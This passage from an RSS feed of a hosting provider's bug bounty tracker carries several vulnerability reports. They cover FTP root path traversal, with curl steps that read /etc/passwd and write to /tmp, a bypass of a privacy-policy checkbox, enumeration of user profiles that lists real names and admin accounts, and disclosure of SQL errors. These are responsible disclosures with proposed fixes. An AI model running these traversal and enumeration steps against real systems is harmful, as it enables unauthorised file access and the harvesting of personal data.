  &amp;quot;$BASE/ftp/add/&amp;quot;



Observed result:



302



The request is accepted without validation or an error.



4. Confirm the traversal path was storedcurl -s -H &amp;quot;Cookie: $COOKIE&amp;quot; &amp;quot;$BASE/ftp/&amp;quot; \

| grep -o &amp;#039;/home/brake/[^&amp;lt;]*&amp;#039;


 Observed value:



/home/brake/../../



This indicates that the traversal sequence is stored without being rejected or normalized.



5. Connect to the FTP servicecurl -k –ssl-reqd \

&amp;quot;ftps://$HOST/&amp;quot; \
--user &amp;quot;brake_pwn:$PW&amp;quot;


 Observed result:



Instead of being restricted to the intended FTP directory, the account can access the server filesystem, including:



/bin/boot/dev/etc/home/nfs/proc/tmp… 6. Demonstrate access to a server file



For example:



curl -k –ssl-reqd \

&amp;quot;ftps://$HOST/etc/passwd&amp;quot; \
--user &amp;quot;brake_pwn:$PW&amp;quot; | head -5


 Observed result:



The server&amp;#039;s /etc/passwd file is returned, exposing the system&amp;#039;s local user list.



7. Demonstrate write access outside the account&amp;#039;s home directory



I was also able to upload a file to /tmp:



echo &amp;quot;proof&amp;quot; &amp;gt; /tmp/p.txt



curl -k –ssl-reqd \


T /tmp/p.txt \




  &amp;quot;ftps://$HOST/tmp/&amp;quot; \


-user &amp;quot;brake_pwn:$PW&amp;quot;




 The upload completed successfully (226).



Security Impact



This issue defeats the advertised FTP directory isolation and allows an FTP account to escape its configured root directory.



Depending on filesystem permissions, an attacker may be able to:



Browse directories outside the FTP user&amp;#039;s intended home.Enumerate server filesystem structure.Read globally accessible files such as /etc/passwd.Discover internal infrastructure information under directories such as /nfs.Write files to other globally writable locations such as /tmp.Potentially obtain additional information about the hosting environment and other accounts.



What the Vulnerability Breaks



The core issue is that the FTP Root directory field is treated as trusted input.



A value such as:



../../



is accepted and stored relative to the account&amp;#039;s home directory:



/home/&amp;lt;account&amp;gt;/../../



Without canonicalization and validation, the resulting path escapes the intended FTP root.



The application should ensure that the configured FTP root resolves to a directory within the intended account boundary and reject traversal sequences or absolute paths that escape that boundary.



Recommended Remediation



Validate and canonicalize the configured FTP root before saving it.



At minimum:



Resolve the submitted path to its canonical filesystem path.Verify that the resolved path remains inside the account&amp;#039;s allowed root/home directory.Reject .. traversal and absolute paths that escape the allowed directory.Apply the same validation server-side rather than relying only on client-side form validation.Ideally, enforce the restriction at the FTP service/chroot configuration layer as a defense-in-depth measure.



CVSS 3.1 score I got: https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N 

</description>
    <content:encoded><![CDATA[
<p>
Summary
</p>

<p>
The <acronym title="File Transfer Protocol">FTP</acronym> user creation functionality allows an attacker to bypass the configured <acronym title="File Transfer Protocol">FTP</acronym> Root directory restriction by supplying a path containing directory traversal sequences such as ../../.
</p>

<p>
The <acronym title="File Transfer Protocol">FTP</acronym> configuration page explicitly states:
</p>

<p>
“Parent directories of the root directory will be neither accessible nor visible.”
</p>

<p>
However, this restriction can be bypassed because the supplied path is accepted and stored without validating or normalizing traversal sequences.
</p>

<p>
For example, configuring the <acronym title="File Transfer Protocol">FTP</acronym> root directory as:
</p>

<p>
../../
</p>

<p>
results in a stored path similar to:
</p>

<p>
/home/brake/../../
</p>

<p>
When the <acronym title="File Transfer Protocol">FTP</acronym> user subsequently connects, the effective root resolves outside the account&#039;s home directory, allowing browsing of the server&#039;s filesystem, including directories such as /etc, /home, /nfs, /proc, and /tmp.
</p>

<p>
In my testing, I was also able to retrieve /etc/passwd and upload a file to /tmp.
</p>

<p>
Steps to Reproduce<br />1. Obtain a valid authenticated session
</p>

<p>
Set the required values:
</p>

<p>
COOKIE=&#039;csrftoken=YOUR_CSRF_COOKIE; sessionid=YOUR_SESSIONID&#039;<br />BASE=&#039;<a href="https://admin.alwaysdata.com" class="urlextern" title="https://admin.alwaysdata.com"  rel="nofollow">https://admin.alwaysdata.com</a>&#039;<br />HOST=&#039;ftp-brake.alwaysdata.net&#039;<br />PW=&#039;SomeStrongPassw0rd!&#039;<br />2. Obtain a CSRF token<br />TOKEN=$(curl -s -H &quot;Cookie: $COOKIE&quot; &quot;$BASE/ftp/add/&quot; \
</p>
<pre class="code">| grep -o &#039;name=&quot;csrfmiddlewaretoken&quot; value=&quot;[^&quot;]*&quot;&#039; \
| head -1 | cut -d&#039;&quot;&#039; -f4)</pre>

<p>
 echo &quot;$TOKEN&quot;<br />3. Create an <acronym title="File Transfer Protocol">FTP</acronym> user using a traversal path
</p>

<p>
Create an <acronym title="File Transfer Protocol">FTP</acronym> account with ../../ as its root directory:
</p>

<p>
curl -s -o /dev/null -w &quot;%{http_code}\n&quot; \
</p>
<ol>
<li class="level1"><div class="li">H &quot;Cookie: $COOKIE&quot; \</div>
</li>
<li class="level1"><div class="li">-data-urlencode &quot;csrfmiddlewaretoken=$TOKEN&quot; \</div>
</li>
<li class="level1"><div class="li">-data-urlencode &quot;name=brake_pwn&quot; \</div>
</li>
<li class="level1"><div class="li">-data-urlencode &quot;password=$PW&quot; \</div>
</li>
<li class="level1"><div class="li">-data-urlencode &quot;path=../../&quot; \</div>
</li>
<li class="level1"><div class="li">-data-urlencode &quot;submit=&quot; \</div>
</li>
</ol>

<p>
  &quot;$BASE/ftp/add/&quot;
</p>

<p>
Observed result:
</p>

<p>
302
</p>

<p>
The request is accepted without validation or an error.
</p>

<p>
4. Confirm the traversal path was stored<br />curl -s -H &quot;Cookie: $COOKIE&quot; &quot;$BASE/ftp/&quot; \
</p>
<pre class="code">| grep -o &#039;/home/brake/[^&lt;]*&#039;</pre>

<p>
 Observed value:
</p>

<p>
/home/brake/../../
</p>

<p>
This indicates that the traversal sequence is stored without being rejected or normalized.
</p>

<p>
5. Connect to the <acronym title="File Transfer Protocol">FTP</acronym> service<br />curl -k –ssl-reqd \
</p>
<pre class="code">&quot;ftps://$HOST/&quot; \
--user &quot;brake_pwn:$PW&quot;</pre>

<p>
 Observed result:
</p>

<p>
Instead of being restricted to the intended <acronym title="File Transfer Protocol">FTP</acronym> directory, the account can access the server filesystem, including:
</p>

<p>
/bin<br />/boot<br />/dev<br />/etc<br />/home<br />/nfs<br />/proc<br />/tmp<br />… 6. Demonstrate access to a server file
</p>

<p>
For example:
</p>

<p>
curl -k –ssl-reqd \
</p>
<pre class="code">&quot;ftps://$HOST/etc/passwd&quot; \
--user &quot;brake_pwn:$PW&quot; | head -5</pre>

<p>
 Observed result:
</p>

<p>
The server&#039;s /etc/passwd file is returned, exposing the system&#039;s local user list.
</p>

<p>
7. Demonstrate write access outside the account&#039;s home directory
</p>

<p>
I was also able to upload a file to /tmp:
</p>

<p>
echo &quot;proof&quot; &gt; /tmp/p.txt
</p>

<p>
curl -k –ssl-reqd \
</p>
<ol>
<li class="level1"><div class="li">T /tmp/p.txt \</div>
</li>
</ol>

<p>
  &quot;ftps://$HOST/tmp/&quot; \
</p>
<ol>
<li class="level1"><div class="li">-user &quot;brake_pwn:$PW&quot;</div>
</li>
</ol>

<p>
 The upload completed successfully (226).
</p>

<p>
Security Impact
</p>

<p>
This issue defeats the advertised <acronym title="File Transfer Protocol">FTP</acronym> directory isolation and allows an <acronym title="File Transfer Protocol">FTP</acronym> account to escape its configured root directory.
</p>

<p>
Depending on filesystem permissions, an attacker may be able to:
</p>

<p>
Browse directories outside the <acronym title="File Transfer Protocol">FTP</acronym> user&#039;s intended home.<br />Enumerate server filesystem structure.<br />Read globally accessible files such as /etc/passwd.<br />Discover internal infrastructure information under directories such as /nfs.<br />Write files to other globally writable locations such as /tmp.<br />Potentially obtain additional information about the hosting environment and other accounts.
</p>

<p>
What the Vulnerability Breaks
</p>

<p>
The core issue is that the <acronym title="File Transfer Protocol">FTP</acronym> Root directory field is treated as trusted input.
</p>

<p>
A value such as:
</p>

<p>
../../
</p>

<p>
is accepted and stored relative to the account&#039;s home directory:
</p>

<p>
/home/&lt;account&gt;/../../
</p>

<p>
Without canonicalization and validation, the resulting path escapes the intended <acronym title="File Transfer Protocol">FTP</acronym> root.
</p>

<p>
The application should ensure that the configured <acronym title="File Transfer Protocol">FTP</acronym> root resolves to a directory within the intended account boundary and reject traversal sequences or absolute paths that escape that boundary.
</p>

<p>
Recommended Remediation
</p>

<p>
Validate and canonicalize the configured <acronym title="File Transfer Protocol">FTP</acronym> root before saving it.
</p>

<p>
At minimum:
</p>

<p>
Resolve the submitted path to its canonical filesystem path.<br />Verify that the resolved path remains inside the account&#039;s allowed root/home directory.<br />Reject .. traversal and absolute paths that escape the allowed directory.<br />Apply the same validation server-side rather than relying only on client-side form validation.<br />Ideally, enforce the restriction at the <acronym title="File Transfer Protocol">FTP</acronym> service/chroot configuration layer as a defense-in-depth measure.
</p>

<p>
CVSS 3.1 score I got: <a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N" class="urlextern" title="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N"  rel="nofollow">https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N</a> 
</p>
]]></content:encoded>
  </item>
    <item rdf:about="https://security.alwaysdata.com/task/478">
    <title>FS#478: Server-Side Validation Bypass Allows Account Registration Without Accepting Data Protection Policy</title>
    <link>https://security.alwaysdata.com/task/478</link>
    <dc:date>2026-09-12T10:23:33Z</dc:date>
    <dc:creator>Selim Sk</dc:creator>
     <description>

## Summary



When a user tries to create an account at alwaysdata without agreeing to alwaysdata&amp;#039;s personal data protection policy, the application displays, “Please click this box if you want to proceed.” Thus, the user must accept alwaysdata&amp;#039;s personal data protection policy to create an account. However, this restriction is not properly enforced. 



As a result, a user can bypass the restriction and create an account without accepting alwaysdata&amp;#039;s personal data protection policy. The exact steps for this bypass are given below.



## Steps To Reproduce


 Go to: https://www.alwaysdata.com/en/register/?p=2012

 Try to register an account without agreeing to the personal data protection policy.

 The application returns: “Please click this box if you want to proceed”. The application enforces the restriction that the user must agree to the personal data protection policy to create an account.

 Turn on your Burp Suite and configure it properly to intercept all requests.

 Try to register an account by accepting the personal data protection policy

 In Burp Suite, intercept the POST request endpoint: /en/register/?p=2012. Observe that the body contains a parameter called “privacy_policy”

 Change from `privacy_policy=on` to `privacy_policy=off`.

 Forward the request. 

 The application responds with 302 Found.

 Verify your email and get access to your account.

 The account is created successfully without accepting the personal data protection policy.




## Impact



This server-side validation issue allows users to register and access the alwaysdata service without the backend verifying whether the personal data protection policy acceptance requirement has been satisfied or not. As a result, it may create compliance concerns.


</description>
    <content:encoded><![CDATA[
<p>
## <strong>Summary</strong>
</p>

<p>
When a user tries to create an account at alwaysdata without agreeing to alwaysdata&#039;s personal data protection policy, the application displays, “Please click this box if you want to proceed.” Thus, the user must accept alwaysdata&#039;s personal data protection policy to create an account. However, this restriction is not properly enforced. 
</p>

<p>
As a result, a user can bypass the restriction and create an account without accepting alwaysdata&#039;s personal data protection policy. The exact steps for this bypass are given below.
</p>

<p>
## <strong>Steps To Reproduce</strong>
</p>
<ol>
<li class="level1"><div class="li"> Go to: <a href="https://www.alwaysdata.com/en/register/?p=2012" class="urlextern" title="https://www.alwaysdata.com/en/register/?p=2012"  rel="nofollow">https://www.alwaysdata.com/en/register/?p=2012</a></div>
</li>
<li class="level1"><div class="li"> Try to register an account without agreeing to the personal data protection policy.</div>
</li>
<li class="level1"><div class="li"> The application returns: “Please click this box if you want to proceed”. The application enforces the restriction that the user must agree to the personal data protection policy to create an account.</div>
</li>
<li class="level1"><div class="li"> Turn on your Burp Suite and configure it properly to intercept all requests.</div>
</li>
<li class="level1"><div class="li"> Try to register an account by accepting the personal data protection policy</div>
</li>
<li class="level1"><div class="li"> In Burp Suite, intercept the POST request endpoint: /en/register/?p=2012. Observe that the body contains a parameter called “privacy_policy”</div>
</li>
<li class="level1"><div class="li"> Change from `privacy_policy=on` to `privacy_policy=off`.</div>
</li>
<li class="level1"><div class="li"> Forward the request. </div>
</li>
<li class="level1"><div class="li"> The application responds with 302 Found.</div>
</li>
<li class="level1"><div class="li"> Verify your email and get access to your account.</div>
</li>
<li class="level1"><div class="li"> The account is created successfully without accepting the personal data protection policy.</div>
</li>
</ol>

<p>
## <strong>Impact</strong>
</p>

<p>
This server-side validation issue allows users to register and access the alwaysdata service without the backend verifying whether the personal data protection policy acceptance requirement has been satisfied or not. As a result, it may create compliance concerns.
</p>
<pre class="code"></pre>
]]></content:encoded>
  </item>
    <item rdf:about="https://security.alwaysdata.com/task/477">
    <title>FS#477: Anonymous user enumeration with full real names and complete staff privilege hierarchy via seq IDs</title>
    <link>https://security.alwaysdata.com/task/477</link>
    <dc:date>2026-09-11T12:22:31Z</dc:date>
    <dc:creator>Mahmoud Ragab</dc:creator>
     <description>

Asset: https://security.alwaysdata.com/?do=user&amp;amp;id=&amp;lt;user_id&amp;gt;Class precedent: &amp;#160;FS#426&amp;#160; (Internal staff account and privilege hierarchy disclosure, closed as accepted) - same data class, different and currently live pathClass: CWE-200 exposure of information / CWE-639 authorization bypass on user profilesCVSS 3.1: AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N (5.3, Medium)Observed: 11 September 2026, unauthenticated, reproduced across dozens of user IDs



 Summary



The profile page of every tracker account is rendered to anonymous visitors, addressable both as ?do=user&amp;amp;id=&amp;lt;sequential&amp;gt; and /user/&amp;lt;sequential&amp;gt;, and it discloses each account&amp;#039;s global permission group (Admin or Reporters) alongside the real name, activity counters and registration date. User IDs are sequential and the existing/missing distinction is visible in the response, so the entire user table can be enumerated in one pass.



Applied to your own team this yields the complete privilege hierarchy of the security program: every Admin account among the staff (seven of them across IDs 1-25) is distinguishable from every external reporter account by one request per ID. Your &amp;#160;FS#426&amp;#160; established that you treat internal staff account and privilege hierarchy disclosure as a qualifying vulnerability on this asset when it leaked through system files; the same hierarchy is available today over plain HTTP through the profile renderer.



Two honest scope notes. First, usernames and, for users who interacted with tasks, even real names already appear on task pages in link title attributes (for example title=&amp;quot;Matthias&amp;quot; on a task 38 comment link); what the profiles add is the group flag and the complete-population walk. Second, I did not download anything beyond the profile pages themselves; no login was attempted.



 Reproduction



Plain curl, no cookies, no authentication.



Step 1. A staff profile renders with real name and privilege group. 

  $ curl -s &amp;quot;https://security.alwaysdata.com/?do=user&amp;amp;id=1&amp;quot;
  Profile: Cyril (cbay) Real Name Cyril Global Group Admin Project Group None Tasks opened 0 Assigned To 330 Comments 438 Registered since 09.01.2024


 Step 2. Sequential IDs enumerate the full population. Results for IDs 1-25 (unmodified page text): 

  id=1  Cyril (cbay)                 Global Group Admin
  id=2  Nicolas (nferrari)           Global Group Admin
  id=3  Xavier (xlefloch)            Global Group Admin
  id=4  Heloise (hdegorce)           Global Group Admin
  id=5  Matthias (mdugue)            Global Group Admin
  id=6  Brijesh (Redhet)             Global Group Reporters
  id=8  Abdelrahman Ibrahim (Abdelrahman)  Global Group Reporters
  id=9  prakash (grycolor)           Global Group Reporters
  id=10 S.Lakshmi Vignesh (weshi)    Global Group Reporters
  id=11 Devansh (Devansh811)         Global Group Reporters
  id=12 basil (basil)                Global Group Reporters
  id=13 Akhil C (Bad_Script3r)       Global Group Reporters
  id=14 Aditya (Aditya2003)          Global Group Reporters
  id=15 Neel Shukla (neelshukla0409) Global Group Reporters
  id=16 Mustafa Hassan (monty099)    Global Group Reporters
  id=22 Francois Nonnenmacher (fnonnenmacher)  Global Group Admin
  id=23 Tom Gabriele (tgabriele)     Global Group Admin
  (accents reproduced as-is in the live pages; IDs 7 and others in the range are inactive accounts that redirect to the homepage)
  The walk was extended to ID 60 to complete the population: the Admin group totals eight accounts across IDs 1-29 (cbay, nferrari, xlefloch, hdegorce, mdugue, fnonnenmacher, tgabriele, ngeoffroy), and the Reporter cohort continues with three dozen real-named accounts. One account (id=35) stores a raw HTML/template-injection probe in its real_name field (&amp;lt;a href=&amp;quot;//bf.am&amp;quot;&amp;gt;click&amp;lt;/a&amp;gt; ${{7*7}}, planted in April 2024); the profile page renders it fully escaped, which documents both that the field is attacker-controllable and that the escaping on this page holds.


 Step 3. Username lookup works the same way: 

  $ curl -s &amp;quot;https://security.alwaysdata.com/?do=user&amp;amp;user_name=fnonnenmacher&amp;quot;
  Profile: Francois Nonnenmacher (fnonnenmacher) Real Name Francois Nonnenmacher Global Group Admin ...


What this discloses



1. The complete staff privilege hierarchy: which of your tracker accounts hold the Admin group. Seven Admin accounts across the enumerated range, including accounts whose group membership was not previously public knowledge.2. The full user population with real names, one request per sequential ID: staff and every external researcher who ever registered, in ID order. Some real names also appear in title attributes on task pages, but the profile walk collects the whole population, including accounts that never touched a public task.3. Activity profiles: how many tasks each account opened, was assigned, commented on, and when they registered. For staff accounts this maps involvement per report.4. A user-table oracle: existing IDs render a profile, non-existent ones redirect to the homepage, so the exact boundary of the user table is measurable.



 Why I consider this reportable and not the platform working as intended



&amp;#160;FS#426&amp;#160; established that you treat internal staff account and privilege hierarchy disclosure as a qualifying vulnerability on this asset, and &amp;#160;FS#440&amp;#160; extended it when the same data reached the public internet. That leak was fixed at the file level; the profile renderer discloses the same hierarchy - which accounts hold Admin - over HTTP today, together with a complete population walk. Whatever the intended audience of a profile page is, an anonymous ten-line loop producing the full admin roster of your security team is not it.



 Suggested fix



1. Require authentication for profile pages, or restrict what an anonymous request renders: drop the Global Group field and real name for anonymous viewers at minimum.2. Deployment-level option available immediately: the webserver vhost can deny /user/ and ?do=user for anonymous visitors in one rule - this is a hosting-configuration decision independent of the Flyspray application, which currently offers no built-in toggle for profile visibility.3. Stop sequential-ID addressing for profiles (route by an unguessable per-user token) if profiles must stay public.4. Review which group memberships should be visible at all; the Admin/Reporters split of your security team is the operationally valuable part of this disclosure.

</description>
    <content:encoded><![CDATA[
<p>
Asset: <a href="https://security.alwaysdata.com/?do=user&amp;id=" class="urlextern" title="https://security.alwaysdata.com/?do=user&amp;id="  rel="nofollow">https://security.alwaysdata.com/?do=user&amp;id=</a>&lt;user_id&gt;<br />Class precedent: <del>&#160;<a href="https://security.alwaysdata.com/task/426?feed_type=rss1&amp;topic=edit" title="Fixed | Task made private | 100%"  class = "closedtasklink">FS#426</a>&#160;</del> (Internal staff account and privilege hierarchy disclosure, closed as accepted) - same data class, different and currently live path<br />Class: CWE-200 exposure of information / CWE-639 authorization bypass on user profiles<br />CVSS 3.1: AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N (5.3, Medium)<br />Observed: 11 September 2026, unauthenticated, reproduced across dozens of user IDs
</p>

<p>
 Summary
</p>

<p>
The profile page of every tracker account is rendered to anonymous visitors, addressable both as ?do=user&amp;id=&lt;sequential&gt; and /user/&lt;sequential&gt;, and it discloses each account&#039;s global permission group (Admin or Reporters) alongside the real name, activity counters and registration date. User IDs are sequential and the existing/missing distinction is visible in the response, so the entire user table can be enumerated in one pass.
</p>

<p>
Applied to your own team this yields the complete privilege hierarchy of the security program: every Admin account among the staff (seven of them across IDs 1-25) is distinguishable from every external reporter account by one request per ID. Your <del>&#160;<a href="https://security.alwaysdata.com/task/426?feed_type=rss1&amp;topic=edit" title="Fixed | Task made private | 100%"  class = "closedtasklink">FS#426</a>&#160;</del> established that you treat internal staff account and privilege hierarchy disclosure as a qualifying vulnerability on this asset when it leaked through system files; the same hierarchy is available today over plain <acronym title="Hyper Text Transfer Protocol">HTTP</acronym> through the profile renderer.
</p>

<p>
Two honest scope notes. First, usernames and, for users who interacted with tasks, even real names already appear on task pages in link title attributes (for example title=&quot;Matthias&quot; on a task 38 comment link); what the profiles add is the group flag and the complete-population walk. Second, I did not download anything beyond the profile pages themselves; no login was attempted.
</p>

<p>
 Reproduction
</p>

<p>
Plain curl, no cookies, no authentication.
</p>

<p>
Step 1. A staff profile renders with real name and privilege group. 
</p>
<pre class="code">  $ curl -s &quot;https://security.alwaysdata.com/?do=user&amp;id=1&quot;</pre>
<pre class="code">  Profile: Cyril (cbay) Real Name Cyril Global Group Admin Project Group None Tasks opened 0 Assigned To 330 Comments 438 Registered since 09.01.2024</pre>

<p>
 Step 2. Sequential IDs enumerate the full population. Results for IDs 1-25 (unmodified page text): 
</p>
<pre class="code">  id=1  Cyril (cbay)                 Global Group Admin
  id=2  Nicolas (nferrari)           Global Group Admin
  id=3  Xavier (xlefloch)            Global Group Admin
  id=4  Heloise (hdegorce)           Global Group Admin
  id=5  Matthias (mdugue)            Global Group Admin
  id=6  Brijesh (Redhet)             Global Group Reporters
  id=8  Abdelrahman Ibrahim (Abdelrahman)  Global Group Reporters
  id=9  prakash (grycolor)           Global Group Reporters
  id=10 S.Lakshmi Vignesh (weshi)    Global Group Reporters
  id=11 Devansh (Devansh811)         Global Group Reporters
  id=12 basil (basil)                Global Group Reporters
  id=13 Akhil C (Bad_Script3r)       Global Group Reporters
  id=14 Aditya (Aditya2003)          Global Group Reporters
  id=15 Neel Shukla (neelshukla0409) Global Group Reporters
  id=16 Mustafa Hassan (monty099)    Global Group Reporters
  id=22 Francois Nonnenmacher (fnonnenmacher)  Global Group Admin
  id=23 Tom Gabriele (tgabriele)     Global Group Admin</pre>
<pre class="code">  (accents reproduced as-is in the live pages; IDs 7 and others in the range are inactive accounts that redirect to the homepage)</pre>
<pre class="code">  The walk was extended to ID 60 to complete the population: the Admin group totals eight accounts across IDs 1-29 (cbay, nferrari, xlefloch, hdegorce, mdugue, fnonnenmacher, tgabriele, ngeoffroy), and the Reporter cohort continues with three dozen real-named accounts. One account (id=35) stores a raw HTML/template-injection probe in its real_name field (&lt;a href=&quot;//bf.am&quot;&gt;click&lt;/a&gt; ${{7*7}}, planted in April 2024); the profile page renders it fully escaped, which documents both that the field is attacker-controllable and that the escaping on this page holds.</pre>

<p>
 Step 3. Username lookup works the same way: 
</p>
<pre class="code">  $ curl -s &quot;https://security.alwaysdata.com/?do=user&amp;user_name=fnonnenmacher&quot;
  Profile: Francois Nonnenmacher (fnonnenmacher) Real Name Francois Nonnenmacher Global Group Admin ...</pre>

<p>
What this discloses
</p>

<p>
1. The complete staff privilege hierarchy: which of your tracker accounts hold the Admin group. Seven Admin accounts across the enumerated range, including accounts whose group membership was not previously public knowledge.<br />2. The full user population with real names, one request per sequential ID: staff and every external researcher who ever registered, in ID order. Some real names also appear in title attributes on task pages, but the profile walk collects the whole population, including accounts that never touched a public task.<br />3. Activity profiles: how many tasks each account opened, was assigned, commented on, and when they registered. For staff accounts this maps involvement per report.<br />4. A user-table oracle: existing IDs render a profile, non-existent ones redirect to the homepage, so the exact boundary of the user table is measurable.
</p>

<p>
 Why I consider this reportable and not the platform working as intended
</p>

<p>
<del>&#160;<a href="https://security.alwaysdata.com/task/426?feed_type=rss1&amp;topic=edit" title="Fixed | Task made private | 100%"  class = "closedtasklink">FS#426</a>&#160;</del> established that you treat internal staff account and privilege hierarchy disclosure as a qualifying vulnerability on this asset, and <del>&#160;<a href="https://security.alwaysdata.com/task/440?feed_type=rss1&amp;topic=edit" title="Fixed | Task made private | 100%"  class = "closedtasklink">FS#440</a>&#160;</del> extended it when the same data reached the public internet. That leak was fixed at the file level; the profile renderer discloses the same hierarchy - which accounts hold Admin - over <acronym title="Hyper Text Transfer Protocol">HTTP</acronym> today, together with a complete population walk. Whatever the intended audience of a profile page is, an anonymous ten-line loop producing the full admin roster of your security team is not it.
</p>

<p>
 Suggested fix
</p>

<p>
1. Require authentication for profile pages, or restrict what an anonymous request renders: drop the Global Group field and real name for anonymous viewers at minimum.<br />2. Deployment-level option available immediately: the webserver vhost can deny /user/ and ?do=user for anonymous visitors in one rule - this is a hosting-configuration decision independent of the Flyspray application, which currently offers no built-in toggle for profile visibility.<br />3. Stop sequential-ID addressing for profiles (route by an unguessable per-user token) if profiles must stay public.<br />4. Review which group memberships should be visible at all; the Admin/Reporters split of your security team is the operationally valuable part of this disclosure.
</p>
]]></content:encoded>
  </item>
    <item rdf:about="https://security.alwaysdata.com/task/475">
    <title>FS#475: Regression: unauthenticated SQL query and database error disclosure via the getfile parameter on sec</title>
    <link>https://security.alwaysdata.com/task/475</link>
    <dc:date>2026-09-11T12:22:19Z</dc:date>
    <dc:creator>Mahmoud Ragab</dc:creator>
     <description>

Asset: https://security.alwaysdata.com/?getfile=&amp;lt;value&amp;gt;Refs: regression of &amp;#160;FS#465&amp;#160; (closed as Fixed 31.08.2026)Class: CWE-209, error message containing sensitive information, reported at the disclosure stage per the program&amp;#039;s SQLi guidanceCVSS 3.1: AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N (5.3, Medium)Observed: 10 September 2026, unauthenticated, reproduced three times with different values



 Summary



The getfile parameter returns the full SQL query text and the raw PostgreSQL error, including the value I submitted echoed back, to any unauthenticated visitor. This is the identical disclosure that &amp;#160;FS#465&amp;#160; reported and that you closed as Fixed on 31 August 2026. It is live again. &amp;#160;FS#466&amp;#160; from the same close date is also live again, and both bugs sit on a document root dated 13 July 2026, so this looks like one rollback event rather than two coincidental regressions. I am reporting it separately because it is its own fix, and cross-referencing the .git report which carries the deployment analysis.



 Reproduction



Plain curl, no cookies, no authentication.



Step 1. Trigger the error with a single quote. 

  $ curl -s &amp;quot;https://security.alwaysdata.com/?getfile=1%27&amp;quot;
  Query {SELECT  t.project_id,
                                    a.orig_name, a.file_name, a.file_type, t.*
                              FROM  &amp;quot;flyspray_attachments&amp;quot; a
                        INNER JOIN  &amp;quot;flyspray_tasks&amp;quot;       t ON a.task_id = t.task_id
                             WHERE  attachment_id = ?} with params {1&amp;#039;} failed! (ERROR:  invalid input syntax for type integer: &amp;quot;1&amp;#039;&amp;quot;
  CONTEXT:  unnamed portal parameter $1 = &amp;#039;...&amp;#039;)


 Step 2. Repeat with a different value to show the response is generated live, not a cached page. 

  $ curl -s &amp;quot;https://security.alwaysdata.com/?getfile=7%27&amp;quot;
  ... WHERE  attachment_id = ?} with params {7&amp;#039;} failed! (ERROR:  invalid input syntax for type integer: &amp;quot;7&amp;#039;&amp;quot;
  CONTEXT:  unnamed portal parameter $1 = &amp;#039;...&amp;#039;)


 Step 3. Response headers for the first request. 

  HTTP/2 200
  server: Apache
  content-type: text/html; charset=utf-8
  via: 2.0 alproxy
  The error page is returned with HTTP 200, no authentication, no referer, no special headers.


What this discloses



1. The exact query shape: table and column names (flyspray_attachments, flyspray_tasks, the attachment columns) and the join between them.2. The database backend and its error format (PostgreSQL, portal parameters), and that the application surfaces database layer text straight to the client.3. An input echo channel: my submitted value comes back inside the error, which is a reliable oracle when probing how other parameters reach the query layer.



I want to be precise about what I am not claiming: the visible sink binds the parameter (the placeholder with a typed cast error), so I am not reporting a proven injectable point at getfile. I am reporting it at exactly the stage your program rules ask for, a SQL error that indicates the query handling, the same stage &amp;#160;FS#465&amp;#160; was accepted at. Whether any code path feeding attachment_id can be pushed further is for your analysis, and I have deliberately not tried.



 Impact



On its own this is a reconnaissance aid, but it sits on the same host as the concurrently re-exposed .git directory, where an attacker already gets the complete file map. Query and schema disclosure to unauthenticated users lowers the cost of targeting the tracker&amp;#039;s database layer, and the acceptance and fix of &amp;#160;FS#465&amp;#160; shows you agree this class matters on this host.



 Suggested fix



1. Restore the &amp;#160;FS#465&amp;#160; fix on the current deployment.2. Send database exceptions to the log and render a generic error page, so the class stays closed across future redeploys.3. Add the deployment assertion suggested in the .git report; it covers this regression too.

</description>
    <content:encoded><![CDATA[
<p>
Asset: <a href="https://security.alwaysdata.com/?getfile=" class="urlextern" title="https://security.alwaysdata.com/?getfile="  rel="nofollow">https://security.alwaysdata.com/?getfile=</a>&lt;value&gt;<br />Refs: regression of <del>&#160;<a href="https://security.alwaysdata.com/task/465?feed_type=rss1&amp;topic=edit" title="Invalid | Task made private | 100%"  class = "closedtasklink">FS#465</a>&#160;</del> (closed as Fixed 31.08.2026)<br />Class: CWE-209, error message containing sensitive information, reported at the disclosure stage per the program&#039;s SQLi guidance<br />CVSS 3.1: AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N (5.3, Medium)<br />Observed: 10 September 2026, unauthenticated, reproduced three times with different values
</p>

<p>
 Summary
</p>

<p>
The getfile parameter returns the full <acronym title="Structured Query Language">SQL</acronym> query text and the raw PostgreSQL error, including the value I submitted echoed back, to any unauthenticated visitor. This is the identical disclosure that <del>&#160;<a href="https://security.alwaysdata.com/task/465?feed_type=rss1&amp;topic=edit" title="Invalid | Task made private | 100%"  class = "closedtasklink">FS#465</a>&#160;</del> reported and that you closed as Fixed on 31 August 2026. It is live again. <del>&#160;<a href="https://security.alwaysdata.com/task/466?feed_type=rss1&amp;topic=edit" title="Duplicate | Task made private | 100%"  class = "closedtasklink">FS#466</a>&#160;</del> from the same close date is also live again, and both bugs sit on a document root dated 13 July 2026, so this looks like one rollback event rather than two coincidental regressions. I am reporting it separately because it is its own fix, and cross-referencing the .git report which carries the deployment analysis.
</p>

<p>
 Reproduction
</p>

<p>
Plain curl, no cookies, no authentication.
</p>

<p>
Step 1. Trigger the error with a single quote. 
</p>
<pre class="code">  $ curl -s &quot;https://security.alwaysdata.com/?getfile=1%27&quot;</pre>
<pre class="code">  Query {SELECT  t.project_id,
                                    a.orig_name, a.file_name, a.file_type, t.*
                              FROM  &quot;flyspray_attachments&quot; a
                        INNER JOIN  &quot;flyspray_tasks&quot;       t ON a.task_id = t.task_id
                             WHERE  attachment_id = ?} with params {1&#039;} failed! (ERROR:  invalid input syntax for type integer: &quot;1&#039;&quot;
  CONTEXT:  unnamed portal parameter $1 = &#039;...&#039;)</pre>

<p>
 Step 2. Repeat with a different value to show the response is generated live, not a cached page. 
</p>
<pre class="code">  $ curl -s &quot;https://security.alwaysdata.com/?getfile=7%27&quot;</pre>
